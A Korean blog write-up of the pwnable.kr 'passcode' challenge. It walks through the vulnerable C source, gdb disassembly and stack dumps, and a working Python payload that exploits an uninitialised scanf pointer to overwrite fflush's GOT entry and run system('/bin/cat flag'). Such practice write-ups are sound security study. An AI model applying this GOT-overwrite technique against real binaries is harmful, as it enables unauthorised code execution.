시작
안녕하세요! :D
10 pt짜리 문제인 passcode
의 풀이를 써볼까 합니다.
드디어 이 문제의 Write up을 쓰게 되네요..
이 문제 때문에 며칠동안 끙끙 앓았습니다 ㅠㅠ
많이 고민한 만큼 얻은 것도 많았어요!!
어려울 수 있지만 끝까지!! 포기말고 진행해보시면 풀 수 있을 겁니다!!
들어가볼까요?
root@goorm:/workspace/LCH_Server# ssh passcode@pwnable.kr -p2222
Write UP
passcode@ubuntu:~$ ls -l
total 16
-r--r----- 1 root passcode_pwn 48 Jun 26 2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26 2014 passcode
-rw-r--r-- 1 root root 858 Jun 26 2014 passcode.c
여느 때와 똑같이 passcode
먼저 실행해보도록 하겠습니다.
passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : LCH
Welcome LCH!
enter passcode1 : 1234
Segmentation fault
사용자에게 이름을 입력받고 Welcome!
메시지를 출력 후 passcode1
을 입력받네요.
임의의 값을 넣어주자 Segmentation fault
와 함께 프로그램이 종료됩니다.
코드를 한 번 볼까요?
passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
크게 main()
, welcome()
, login()
함수가 보입니다.
main
은 간단하게 welcom()
과 login()
을 불러오네요.
먼저 welcome()
으로 가보겠습니다.
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
100 bytes
짜리 문자형 name
배열을 선언 후 scanf
함수로 받는 모습입니다.
별다른 특별한 점은 없네요.
login()
으로 가보죠.
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
두 정수형 변수 passcode1
, passcode2
를 선언 후 scanf
로 받으려고 하는데..
뭔가.. 빠졌죠? &passcode1
형태로 받아야 하는데 &
가 보이질 않네요.
저거 때문에 오류 메시지가 출력되는 것 같습니다.
밑에 if
문을 보면 passcode1
과 passcode2
의 값이 저거일 때 flag
를 출력해주는데
음.. 변수를 건드릴 수 있는 방법이 딱히 떠오르질 않네요..
우선 gdb
를 이용해 메모리에 무슨 일이 일어나는지 알아보겠습니다.
welcome()
함수를 먼저 보죠.
gdb-peda$ disas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
welcome+33
부터 welcome+48
까지 scanf
함수를 위한 값을 스택에 채워주는 모습이 보입니다,
0x80487dd
가 가리키는건 %100s
겠네요.
그 밑에 ebp-0x70
은 느낌이 name
배열의 시작주소 같지 않나요??
확실하게 보기 위해 scanf
함수 호출 직후인 welcome+53
의 break point
를 걸고 달려보겠습니다.
name
배열을 채우기 위해 이름에 A
를 100번 넣어보겠습니다.
gdb-peda$ x/x $ebp-0x70
0xffc74bc8: 0x41
gdb-peda$ x/40wx $esp
0xffc74bb0: 0x080487dd 0xffc74bc8 0xf77c3d60 0xf767b47b
0xffc74bc0: 0xf77c3d60 0x08292008 0x41414141 0x41414141
0xffc74bd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffc74be0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffc74bf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffc74c00: 0x41414141 0x41414141 0x41414141 0x41414141
0xffc74c10: 0x41414141 0x41414141 0x41414141 0x41414141
0xffc74c20: 0x41414141 0x41414141 0x41414141 0xa6955500
0xffc74c30: 0xf77c3000 0xf77c3000 0xffc74c58 0x0804867f
0xffc74c40: 0x080487f0 0x08048250 0x080486a9 0x00000000
gdb-peda$ x/x $ebp-0xd
0xffc74c2b: 0x95550041
ebp-0x70
의 주소는 0xffc74bc8
, 즉 name
배열의 시작주소가 되겠네요.
끝 주소는 ebp-0xd
, 0xffc74c2b
입니다.
따라서 name
배열의 주소는 0xffc74bc8 ~ 0xffc74c2b
입니다, 100 bytes
죠.
우리는 이제 입력한 name
이 어느 영역에 저장되는지 알았습니다.
login()
함수로 넘어가볼까요?
gdb-peda$ disas login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
login+24
를 보면 ebp-0x10
라는 부분이 보입니다.
이제 많이 봐서 익숙하시죠? passcode1
변수가 저 부분에 선언되는 것 같습니다.
마찬가지로 gdb
로 확인해보죠. scanf
를 호출하는 login+34
부분에 break point
를 걸고 달리겠습니다.
gdb-peda$ x/x $ebp-0x10
0xffc74c28: 0x41414141
ebp-0x10
을 확인해보니깐 주소값이 0xffc74c28
로 나오네요.
passcode1
변수는 int
형 타입이기 때문에 0xffc74c28 ~ 0xffc74c2b
의 주소를 가질건데..??
어디서 많이 본 주소네요?
name
배열의 끝이 0xffc74c2b
였죠? 그렇다면..
name[97] ~ name[100]
의 영역과 passcode
의 주소가 겹쳤다는 것을 알 수 있습니다.
실제로 위에서 보듯이 passcode1
의 주소에 A(=41)
이 들어가 있네요.
Stack
영역에서 login()
함수의 스택프레임이 쌓인 후 나간 자리와 그대로 welcome()
이 들어온 자리가 겹친 것입니다.
passcode1
변수의 초기화가 없었기 때문에 name
에서 받아온 값들이 남아있는 것을 확인했습니다.
자, 우리는 name
변수를 통해 passcode1
의 주소를 건드릴 수 있다는 것을 알았습니다.
scanf
로 입력값을 받을 때 &
가 없기 때문에 passcode1
의 주소에 값이 저장되기 때문이죠.
이런 상황에서, 어떻게 flag
를 볼 수 있을까요?
Exploit을 하기 전에 PLT
와 GOT
가 무엇인지 알아야 합니다.
이 쪽에 정리가 잘 되어있어서 참고하여 작성했습니다!
https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/
PLT
: 외부 프로시저를 연결해주는 테이블. PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.
GOT
: PLT가 참조하는 테이블. 프로시저들의 주소가 들어있다.
간단하게 설명해보자면, Dynamic Link
방식으로 컴파일된 파일은 프로그램 내부에 라이브러리가 존재하지 않기 때문에
외부의 라이브러리로 링크하는 과정이 필요합니다.
이를 이용하여, login()
안에 있는 함수 중 하나를 골라 그 함수의 PLT
를 타고 도착한 GOT
테이블을 system(/bin/cat flag)
로 덮어쓴다면
Exploit이 가능하겠죠?
login()
속에 있는 fflush
함수를 이용해봅시다.
0x08048593 <+47>: call 0x8048430 <fflush@plt>
fflush
의 plt 주소는 0x8048430
이네요. 자세히 볼까요?
gdb-peda$ x/i 0x8048430
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
어셈블리어 형태로 보기 위해 x
에 i
옵션을 주었습니다.
0x804a004
주소로 jmp
하네요. 저 주소가 바로 GOT
입니다.
passcode1
변수의 주소에 저 값을 연결시켜 놓으면 scanf
로 입력받을 때 fflush
함수의 실행을 조작할 수 있게 됩니다.
거의 다 왔습니다.. 이제 변조된 fflush
함수가 무엇을 실행할 지 입력만 해주면 됩니다.
login()
어셈을 보면 쉽게 답을 찾을 수 있는데요!!
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
passcode.c
에서도 볼 수 있듯이 system(/bin/cat flag)
부분입니다.
즉 0x080458e3
으로 fflush
함수의 GOT
를 설정해 놓는다면 fflush
함수가 실행될 때 저 주소로 이동하겠죠?
문제가 풀렸습니다.. 길었습니다 ㅠㅠ
정리해보죠.
-
name
배열 끝4 bytes
가passcode1
의 주소와 겹친다. -
name
배열 끝4 bytes
를fflush
함수의GOT
테이블의 주소로 입력한다. ( =passcode1
가fflush
함수의GOT
가 됨) -
scanf
를 통해passcode1
, 즉fflush
함수의GOT
를 조작한다.system
함수의 시작으로 덮어쓴다! -
Exploit!
페이로드를 작성해보도록 하겠습니다.. ㅠㅠ 힘들었다..
system(/bin/cat flag)
의 시작 주소인 0x080485e3
은 scanf
함수가 %d
로 받기 때문에 10진수로 바꿔서 넣어줍시다!
passcode@ubuntu:~$ (python -c 'print "A" * 96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
마무리
2일..? 3일..?? 걸렸습니다.
완벽하게 이해하려니깐 진짜 멘탈 박살날 것 같았어요..
처음에 너무 헷갈려서 멍..하니 생각만 한 것 같습니다. 다른 분들의 풀이를 봐도 모르겠더라구요ㅠㅠ
잠도 잘 안오고 난리였습니다. 그래도!! 계속 건드려보니깐 풀렸습니다. 이해가 됐습니다!!
시간을 들인 만큼 뿌듯하네요ㅎ.. PLT
랑 GOT
개념도 어느 정도 들어왔구..
고생하셨습니다!! 다음 문제에서 만나요 :D
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
pwnable.kr : shellshock 풀이 (0) | 2019.04.16 |
---|---|
pwnable.kr : mistake 풀이 (0) | 2019.04.16 |
pwnable.kr : random 풀이 (0) | 2019.04.13 |
pwnable.kr : bof 풀이 (0) | 2019.04.13 |
pwnable.kr : col 풀이 (0) | 2019.04.12 |